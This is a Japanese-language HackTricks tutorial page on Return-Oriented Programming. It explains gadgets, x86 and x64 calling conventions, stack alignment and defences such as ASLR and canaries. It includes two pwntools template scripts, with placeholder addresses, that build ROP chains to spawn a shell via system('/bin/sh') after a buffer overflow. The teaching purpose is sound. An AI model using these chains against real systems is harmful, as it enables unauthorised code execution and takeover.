.. | ||
ret2lib | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- Discordグループに参加💬(https://discord.gg/hRep4RUj7f)またはtelegramグループに参加するか、Twitter🐦でフォローする:@hacktricks_live。
- HackTricks(https://github.com/carlospolop/hacktricks)およびHackTricks Cloud(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
基本情報
**Return-Oriented Programming (ROP)**は、**No-Execute (NX)やData Execution Prevention (DEP)などのセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。シェルコードを注入して実行する代わりに、攻撃者はバイナリやロードされたライブラリに既に存在するコード片("ガジェット"**と呼ばれる)を利用します。各ガジェットは通常、ret
命令で終わり、データをレジスタ間で移動したり算術演算を行ったりするなどの小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護をバイパスできます。
ROPの動作
- 制御フローのハイジャック:まず、攻撃者は通常、バッファオーバーフローを悪用してプログラムの制御フローをハイジャックする必要があります。これは、スタック上の保存されたリターンアドレスを上書きすることによって行われます。
- ガジェットの連鎖:次に、攻撃者は注意深くガジェットを選択して連鎖させ、必要なアクションを実行します。これには、関数呼び出しの引数を設定したり、関数を呼び出したり(例:
system("/bin/sh")
)、必要なクリーンアップや追加の操作を処理したりすることが含まれる可能性があります。 - ペイロードの実行:脆弱な関数が返されると、合法的な場所に戻る代わりに、ガジェットの連鎖を実行し始めます。
ツール
通常、ガジェットはROPgadget、ropper、またはpwntools(ROP)から直接見つけることができます。
x86のROPチェーンの例
x86(32ビット)呼び出し規約
- cdecl:呼び出し元がスタックをクリーンアップします。関数引数はスタックに逆順でプッシュされます(右から左へ)。引数は右から左にスタックにプッシュされます。
- stdcall:cdeclに似ていますが、スタックのクリーンアップは呼び出し先が行います。
ガジェットの検索
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定しましょう。興味を持つガジェットは次のとおりです:
pop eax; ret
:このガジェットはスタックのトップの値をEAX
レジスタにポップしてから戻り、EAX
を制御できるようにします。pop ebx; ret
:上記と同様ですが、EBX
レジスタ用であり、EBX
を制御できるようにします。mov [ebx], eax; ret
:EAX
の値をEBX
が指すメモリ位置に移動してから戻ります。これは通常、write-what-whereガジェットと呼ばれます。- さらに、
system()
関数のアドレスが利用可能です。
ROPチェーン
pwntoolsを使用して、次のようにROPチェーンの実行のためにスタックを準備します。system('/bin/sh')
を実行することを目指しています。チェーンが次のように始まることに注目してください:
- アライメント目的の
ret
命令(オプション) system
関数のアドレス(ASLRが無効で既知のlibcを仮定して、詳細はRet2libを参照)system()
からの戻りアドレスのプレースホルダ"/bin/sh"
文字列アドレス(system関数のパラメータ)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64でのROPチェーンの例
x64(64ビット)呼び出し規約
- Unix系システムでは、最初の6つの整数またはポインタ引数はレジスタ
RDI
、RSI
、RDX
、RCX
、R8
、およびR9
に渡されます。追加の引数はスタックに渡されます。戻り値はRAX
に配置されます。 - Windows x64 呼び出し規約では、最初の4つの整数またはポインタ引数には
RCX
、RDX
、R8
、およびR9
が使用され、追加の引数はスタックに渡されます。戻り値はRAX
に配置されます。 - レジスタ: 64ビットレジスタには
RAX
、RBX
、RCX
、RDX
、RSI
、RDI
、RBP
、RSP
、およびR8
からR15
が含まれます。
ガジェットの検索
今回は、RDI レジスタを設定し(system() に "/bin/sh" 文字列を引数として渡すため)、その後 system() 関数を呼び出すためのガジェットに焦点を当てましょう。以下のガジェットを特定したと仮定します:
- pop rdi; ret: スタックのトップの値を RDI にポップしてから戻ります。system() の引数を設定するために必要です。
- ret: 単純なリターンで、一部のシナリオでスタックの整列に役立ちます。
そして、system() 関数のアドレスを知っているとします。
ROPチェーン
以下は、pwntools を使用して x64 で system('/bin/sh') を実行するためのROPチェーンを設定して実行する例です:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
スタックアライメント
x86-64 ABI は、call命令が実行される際にスタックが16バイトに整列されることを保証します。LIBC は、パフォーマンスを最適化するためにSSE命令(例: movaps)を使用し、この整列が必要です。スタックが適切に整列されていない場合(つまりRSPが16の倍数でない場合)、systemのような関数の呼び出しはROPチェーンで失敗します。これを修正するには、ROPチェーン内でsystemを呼び出す前にretガジェットを追加するだけです。
x86とx64の主な違い
{% hint style="success" %} x64は最初の数値引数にレジスタを使用するため、単純な関数呼び出しにはx86よりも少ないガジェットが必要ですが、適切なガジェットを見つけてチェーンすることは、レジスタの数の増加とアドレス空間の拡大により、より複雑になる可能性があります。x64アーキテクチャの増加したレジスタ数と大きなアドレス空間は、特にReturn-Oriented Programming(ROP)の文脈において、エクスプロイト開発にとって機会と課題を提供します。 {% endhint %}
ARM64のROPチェーンの例
ARM64の基礎と呼び出し規約
この情報については、次のページをチェックしてください:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
ROPに対する保護
- ASLR & PIE: これらの保護は、ガジェットのアドレスが実行ごとに変化するため、ROPの使用を困難にします。
- スタックキャナリー: BOFの場合、ROPチェーンを悪用するためには、スタックキャナリーをバイパスしてリターンポインタを上書きする必要があります。
- ガジェットの不足: 十分なガジェットがない場合、ROPチェーンを生成することはできません。
ROPベースのテクニック
ROPは任意のコードを実行するためのテクニックに過ぎないことに注意してください。ROPを基に、多くのRet2XXXテクニックが開発されました:
- Ret2lib: ROPを使用して、ロードされたライブラリから任意のパラメータ(通常は
system('/bin/sh')
のようなもの)を持つ任意の関数を呼び出します。
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: ROPを使用して、
execve
などのシステムコールを準備し、任意のコマンドを実行します。
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
- EBP2Ret & EBP Chaining: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目のものはRet2libに似ていますが、この場合、フローは主にEBPアドレスで制御されます(ただし、EIPの制御も必要です)。
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
その他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64ビット、Pieおよびnx有効、キャナリなし、
vsyscall
アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることで、フラグを漏洩させる関数の一部を取得するための部分的な上書きを行います。 - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64、ASLRなし、ROPガジェットを使用してスタックを実行可能にし、スタック内のシェルコードにジャンプします